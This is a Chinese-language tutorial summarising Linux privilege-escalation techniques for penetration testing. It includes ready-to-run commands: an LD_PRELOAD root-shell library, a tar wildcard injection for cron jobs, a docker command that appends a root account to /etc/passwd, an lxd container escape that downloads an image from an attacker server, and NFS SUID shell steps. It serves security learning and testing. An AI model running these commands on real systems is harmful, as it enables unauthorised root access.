|
引言 在漏洞挖掘或者滲透過程中,難免遇到提權的需求。提權指在特定用戶權限下,對目標信息進行收集,在此基礎上,結(jié)合一定技術進行利用,從而達到權限提升的目的。本篇文章旨在對各種Linux提權中所用到的技術、工具進行測試總結(jié)。 信息收集 在提權過程中,首先需要對目標信息進行盡可能詳細地收集,為后續(xù)提權利用打下基礎。收集的信息一般包括: 上述信息收集皆可通過一些Linux基礎命令來幫助完成。如果采用逐個人工獲取的方式,不免顯得效率太低,可以將信息收集工作整合成自動化腳本來完成。下面對互聯(lián)網(wǎng)上部分開源提權信息收集工具進行列舉: 0x01 LinPEAS
該工具是純bash腳本,通用性很好,能夠收集上述幾乎所有的提權信息,足夠全面。但運行時間長,效率低,得到的信息雖然全面,但重點不夠突出,有較多無用信息,稍顯冗雜。具體使用方式為: ./linpeas.sh -a > ./log0x02 LinuxSmartEnumeration
該工具也是純bash腳本,通用性較好,與LinPEAS類似,但收集的信息不如LinPEAS全面,但會關注一些LinPEAS沒有關注到的信息,二者可結(jié)合使用,保證提權信息的全面性,防止遺漏。具體使用方式為: ./LinEnum.sh -r ./log -t 0x03 BeRoot
該工具是python腳本,通用性不好,且其不是獨立運行的python腳本,需要依賴其他python腳本,這使得需要下載較多的文件。但在提供可行的提權建議方面表現(xiàn)出色,所以在有python環(huán)境時,該工具很值得一試。使用方式為: python beroot.py > ./log0x04 linuxprivchecker.py
該工具是獨立運行的python腳本,收集的提權信息較為精簡,可結(jié)合使用。使用方式為: python linuxprivchecker.py -w -o ./log suid提權 對于常用的Linux程序,如find,如果其帶有suid標志,那么可以去GTFOBins網(wǎng)站查詢,地址如下:
查找該suid程序是否可以用來提權,以find為例,去該網(wǎng)站查找,它會提供針對該suid程序的提權方法: 利用此方法,就可以進行suid提權。在一些hackbox環(huán)境中,往往會出現(xiàn)一些自寫的suid程序,針對這類程序,需要對程序的功能進行分析,然后在程序正常執(zhí)行時,去利用環(huán)境變量等方法劫持程序,從而達到提升權限的目的。例如,當自寫suid程序中調(diào)用某些系統(tǒng)命令(如ls命令),且調(diào)用這些系統(tǒng)命令沒有使用絕對路徑進行調(diào)用,那么可以通過修改環(huán)境變量$PATH來劫持該系統(tǒng)命令進行提權。這里需要注意一點就是對于suid的可執(zhí)行腳本,而非二進制程序,無法通過劫持的方法進行提權。 sudo提權 sudo全稱Substitute User and Do,用來臨時賦予root權限運行某個程序。sudo的執(zhí)行原理為:普通用戶執(zhí)行sudo命令時,首先檢查`/var/run/sudo/`目錄下是否有用戶時間戳,centos檢查`/var/db/sudo/`目錄,并檢查是否過期。如果時間戳過期,就需要輸入當前用戶的密碼。輸入后檢查`/etc/sudoers`配置文件,查看用戶是否有sudo權限,如果有則執(zhí)行sudo命令并返回結(jié)果,然后退出sudo返回到普通用戶的shell環(huán)境。 從上面的原理可以看出,sudo提權的關鍵就在于sudo相關的配置文件`/etc/sudoers`,根據(jù)適用場景的不同,分為以下幾種情況: 0x01 sudo用戶提權 在當前用戶是允許執(zhí)行sudo操作的用戶,并且知道當前用戶的密碼時,可以直接使用sudo進行提權,最簡單的莫過于使用sudo su命令,然后輸入當前用戶的密碼即可完成提權。對于判斷當前用戶是否是sudo用戶,可以通過執(zhí)行sudo命令是否成功來進行驗證。 0x02 sudo程序提權 在當前用戶是允許執(zhí)行sudo操作的用戶,而不知道當前用戶的密碼時,此時可以查看`/etc/sudoers`文件(前提是該文件可讀),查看管理員是否配置了某些不需要密碼即可使用的命令。以find為例: someuser ALL=(ALL:ALL) NOPASSWD:/bin/find`/etc/sudoers`文件中若出現(xiàn)上述內(nèi)容,則可以使用sudo find進行提權。對于不需要密碼即可調(diào)用的sudo程序,同樣可以使用[GTFOBins](https://gtfobins.),該網(wǎng)站同樣會給出相應程序的sudo提權方法,以find為例: 還有一種情況,就是當這些不需要密碼即可使用sudo調(diào)用的程序無法通過一些方法進行直接的提權時,即在GTFOBins中無法找到該程序的sudo提權方法時,若`/etc/sudoers`文件中有如下配置: Defaults env_keep += LD_PRELOAD 即sudo支持`LD_PRELOAD`環(huán)境變量,那么就可以在用sudo執(zhí)行某些命令時,通過劫持共享鏈接庫的方法來達到提權的目的,具體做法為:
#include <stdio.h>#include <sys/types.h>#include <stdlib.h>void _init() {unsetenv('LD_PRELOAD');setgid(0);setuid(0);system('/bin/sh');}gcc -fPIC -shared -o /tmp/shell.so /tmp/shell.c -nostartfiles
sudo LD_PRELOAD=/tmp/shell.so somebin0x03 sudo程序本身提權 sudo作為程序本身,其本身也存在漏洞,近些年來先后曝出sudo程序的漏洞,利用這些漏洞也可以達到提權的目的,但適用性不好,成功率不高,可以作為提權的一種備用思路,在此不做展開。 capabilities提權 capabilities機制是在Linux內(nèi)核2.2之后引入的,原理很簡單,就是將之前與超級用戶`root(UID=0)`關聯(lián)的特權細分為不同的功能組,capabilites作為線程(Linux并不真正區(qū)分進程和線程)的屬性存在,每個功能組都可以獨立啟用和禁用。其本質(zhì)上就是將內(nèi)核調(diào)用分門別類,具有相似功能的內(nèi)核調(diào)用被分到同一組中。這樣一來,權限檢查的過程就變成了:在執(zhí)行特權操作時,如果線程的有效身份不是 root,就去檢查其是否具有該特權操作所對應的capabilities,并以此為依據(jù),決定是否可以執(zhí)行特權操作。 利用這種機制,在信息收集的過程中,可以收集到具有capabilities的程序,對于這些程序,同樣可以借助GTFOBins去查找該程序的capabilities提權方法,以gdb為例: 計劃任務提權 計劃任務是用戶可以安排在特定時間或間隔運行的程序或腳本,計劃任務執(zhí)行的權限是擁有它們的用戶的權限。根據(jù)應用場景的不同,分為以下幾種情況: 0x01 計劃任務可控提權 在信息收集過后,可以得到目標的計劃任務列表。分析查找高權限計劃任務的腳本是否可寫,若可寫,則可以直接修改進行提權。若不可寫,可以查看腳本對應的具體內(nèi)容,從內(nèi)容中再次查找分析是否有可寫或可控的腳本或程序,如此遞歸,可以全面的分析是否可以通過修改或劫持計劃任務的可控內(nèi)容進行提權。 0x02 計劃任務環(huán)境變量提權 默認情況下,crontab的路徑環(huán)境變量設置為:`/usr/bin:/bin`。但路徑變量可以覆蓋在crontab文件中。在信息收集過后,如果發(fā)現(xiàn)在某些crontab文件中設置了路徑環(huán)境變量,并且在該路徑環(huán)境變量中有可控的路徑,并且某些計劃任務沒有使用絕對路徑進行執(zhí)行時,如:
對于上面的情況,當`/home/user`可控時,就可以在`/home/user`下新建一個名為`shell.sh`的文件,在該文件中寫入提權命令即可提權。 0x03 計劃任務通配符提權 在信息收集過后,若發(fā)現(xiàn)某些計劃任務中帶有一些通配符,并且?guī)в型ㄅ浞穆窂娇煽?,當該計劃任務的?zhí)行程序的某些參數(shù)可以執(zhí)行shell命令時,則該計劃任務可以用來提權。以tar為例: SHELL=/bin/shPATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin1 0 24 * * * tar cf /home/xxx.tgz /xxx/*針對上述情況,可以使用下述方法進行提權: cd /xxx/echo '' > '--checkpoint-action=exec=sh shell.sh'echo '' > '--checkpoint=1'echo '/bin/bash' > shell.sh 對于判斷計劃任務程序是否具有某些參數(shù)可以用來提權時,同樣可以借助GTFOBins來進行查詢,以tar為例: 0x04 系統(tǒng)計時器提權 由于該系統(tǒng)計時器功能與計劃任務類似,所以這里將它們歸為一類??梢酝ㄟ^以下命令查看系統(tǒng)的計時器: systemctl list-timers --all對于每個計時器,可以查看對應的.service文件來查看計時器對應的具體任務,如果出現(xiàn)可控內(nèi)容,可以在可控的計時器服務中插入提權操作來實現(xiàn)權限的提升。 可寫文件提權 在信息收集過后,可以得到當前用戶可寫文件列表。需要對可寫文件逐一排查,來判斷是否存在敏感文件(`/etc/passwd`,root進程調(diào)用文件等),若存在,則可以寫入提權內(nèi)容來達到權限提升的效果,該方法較為寬泛,不做具體展開。 第三方程序提權 在信息收集過后,可以得到一些常用的三方程序列表,包括但不限于apache,mysql,docker等。利用這些三方程序的歷史漏洞或危險操作,往往可以達到提權的目的。下面僅列舉一些有代表性的三方程序因配置不當所導致的提權: 0x01 docker提權 如果多用戶借助docker共用一臺機器,并且當前用戶具有docker組的權限,那么可以直接運行一個鏡像獲得鏡像里面的root權限,然后將鏡像外的/etc/passwd映射到鏡像內(nèi)后進行修改,以此來提權。比如: docker run -it --rm -v $PWD:/mnt bashecho 'toor:$1$.ZcF5ts0$i4k6rQYzeegUkacRCvfxC0:0:0:root:/root:/bin/sh' >> /mnt/etc/passwd 上述操作就增加了一個root權限賬戶`toor:password`。 0x02 lxc/lxd提權
git clone https://github.com/saghul/lxd-alpine-buildercd lxd-alpine-builder./build-alpine# 此命令必須以root用戶執(zhí)行,之后會生成一個tar.gz的壓縮包。python3 -m http.server 80# 目標系統(tǒng)中執(zhí)行wget http://Your-Vps-IP/alpine-v3.12-x86_64-20200908_2138.tar.gz -O /tmp/alpine-v3.12.tar.gzlxc image import ./alpine-v3.12.tar.gz --alias alpine-v3.12lxc init alpine-v3.12 ignite -c security.privileged=truelxc config device add ignite mydevice disk source=/ path=/mnt/root recursive=truelxc start ignitelxc exec ignite /bin/sh0x03 NFS提權 在信息收集過后,若目標上開啟了NFS共享,則可以使用如下命令檢查NFS配置: cat /etc/exports 如果有no_root_squash這個選項,那么root用戶就會對共享目錄擁有最高控制權,就像是對本機的目錄操作一樣。此時可以先用攻擊機的root用戶掛載目標機器上的NFS共享目錄,然后以root用戶身份復制攻擊機上面的shell到共享目錄中,給予suid權限,然后切換到目標機,執(zhí)行該程序即可。具體操作步驟為: //執(zhí)行mkdir /tmp/nfsmount -o rw,vers=3 10.10.10.10:/tmp /tmp/nfscp `which sh` /tmp/nfschmod +s /tmp/nfs/sh//目標機執(zhí)行./sh -pRPATH提權 若一個程序是由高權限用戶運行,比如在計劃任務中看到某程序由root用戶運行,則可以對此程序是否可以使用RPATH提權進行分析。若該程序使用了共享庫(可以通過ldd命令查看程序使用了哪些共享庫)并且該程序使用了RPATH,可以使用如下命令來查詢程序的RPATH值: objdump -x somebin | grep RPATH 若RPATH對應路徑可寫可執(zhí)行,則可以在該路徑下偽造該程序使用的共享庫文件,由此當該程序運行時,會優(yōu)先加載RPATH下偽造的共享庫文件,由此可以劫持,從而提升權限。 UID提權 某些Linux版本受到一個錯誤的影響,該錯誤使`UID>INT_MAX`的用戶可以提升權限,一般使用如下命令進行提權: systemd-run -t /bin/bash敏感信息提權 該提權方法較為寬泛,可能無法一步就達到想要的效果,但可以利用得到的敏感信息達到逐步擴展權限的目的。下面對幾種可能的應用場景進行舉例說明: 0x01 關鍵字信息提權 在信息收集的過程中,會對一些常用關鍵字(如password、backup、config等)進行大小寫不敏感的包括文件名和文件內(nèi)容的全盤模糊搜索,利用這些可能找到的敏感信息進行進一步提權。如果找到一些密碼,可以用這些密碼嘗試高權限用戶登錄,往往能達到意想不到的效果。 0x02 ssh秘鑰文件提權 在信息收集的過程中,當獲取到ssh相關的秘鑰文件時,也可能達到權限提升的效果。`id_rsa.pub`文件可以得到相關用戶的公鑰以及用戶名,而`id_rsa`文件記錄用戶的私鑰,當獲取私鑰后,可進行暴力破解,得到相應用戶的登錄密碼,而且如果私鑰沒有加密的話,攻擊者可以直接使用私鑰連接服務器,達到權限提升的目的。 0x03 bash history提權 在信息收集的過程中,若某些.bash_history文件可讀,那么就可以看到相應用戶的操作命令記錄,分析這些信息,有時也可達到權限提升的目的。 0x04 TMUX提權 在信息收集的過程中,如果發(fā)現(xiàn)當前用戶對tmux socket有讀權限,則可以劫持該tmux session來提升權限。例如,對`/tmp/tmux-1000/default`這個`tmux socket`具有讀權限,則通過下面的命令可以劫持該tmux會話,并能以該會話的權限執(zhí)行命令: export TMUX=/tmp/tmux-1000/default,1234,0tmux ls 操作系統(tǒng)/內(nèi)核漏洞提權 在信息收集后,可以得到操作系統(tǒng)及內(nèi)核的版本等詳細信息,利用這些信息,可以利用在該版本上適用的相關漏洞嘗試提權。在使用該種方法提權時,可以使用一些漏洞的驗證腳本先驗證漏洞的存在性,然后再根據(jù)存在性進行利用,以免出現(xiàn)一些無法控制的操作。 可以使用linux-exploit-suggester或linux-exploit-suggester-2兩款工具來輔助內(nèi)核提權。
總結(jié) 本文僅對當前存在的提權方法和技巧進行總結(jié),方便查閱。
參考 https:///2020/04/14/Linux%E6%8F%90%E6%9D%83%E6%96%B9%E5%BC%8F/ https://github.com/swisskyrepo/PayloadsAllTheThings https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS https://github.com/diego-treitos/linux-smart-enumeration https://github.com/sleventyeleven/linuxprivchecker https://github.com/rebootuser/LinEnum https://github.com/AlessandroZ/BeRoot https://gtfobins./ https://github.com/mzet-/linux-exploit-suggester https://github.com/jondonas/linux-exploit-suggester-2 由于傳播、利用此文檔提供的信息而造成任何直接或間接的后果及損害,均由使用本人負責,且聽安全團隊及文章作者不為此承擔任何責任。 |
|
|